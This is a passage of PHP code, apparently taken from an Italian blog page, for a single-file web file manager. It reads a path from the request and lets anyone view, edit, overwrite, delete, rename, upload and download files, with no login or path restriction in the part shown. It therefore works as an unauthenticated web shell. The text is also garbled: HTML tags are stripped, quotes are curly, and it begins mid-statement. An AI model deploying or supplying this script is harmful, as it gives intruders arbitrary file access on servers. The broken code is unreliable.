” . htmlspecialchars($file) . “

“; echo “
" . htmlspecialchars(file_get_contents($file)) . "
“; exit; } if ($action === ‘edit’ && $file && file_exists($file)) { if ($_SERVER[‘REQUEST_METHOD’] === ‘POST’) { file_put_contents($file, $_POST[‘content’]); echo “saved
“; } echo “
“; echo ““; echo “
“; exit; } if ($action === ‘delete’ && $file && file_exists($file)) { unlink($file); header(“Location: ?dir=” . urlencode(dirname($file))); exit; } if ($action === ‘rename’ && $file && file_exists($file) && $_SERVER[‘REQUEST_METHOD’] === ‘POST’) { rename($file, dirname($file) . DIRECTORY_SEPARATOR . basename($_POST[‘new_name’])); header(“Location: ?dir=” . urlencode(dirname($file))); exit; } if (!empty($_FILES[‘upload’])) { move_uploaded_file($_FILES[‘upload’][‘tmp_name’], $currentDir . DIRECTORY_SEPARATOR . basename($_FILES[‘upload’][‘name’])); } echo “File Manager“; echo ““; echo “

Dir of ” . htmlspecialchars($currentDir) . “

“; echo “
“; echo “
    “; $parent = dirname($currentDir); if ($parent && $parent !== $currentDir) { echo “
  • Parent Directory
  • “; } foreach (scandir($currentDir) as $item) { if ($item === ‘.’ || $item === ‘..’) continue; $fullPath = $currentDir . DIRECTORY_SEPARATOR . $item; $encoded = urlencode($fullPath); if (is_file($fullPath)) { echo “
  • ” . htmlspecialchars($item); echo ” | View“; echo ” | Edit“; echo ” | Delete“; echo ” | Download
  • “; } else { echo “
  • ” . htmlspecialchars($item) . “/
  • “; } } echo “
“; ?>
Articoli recenti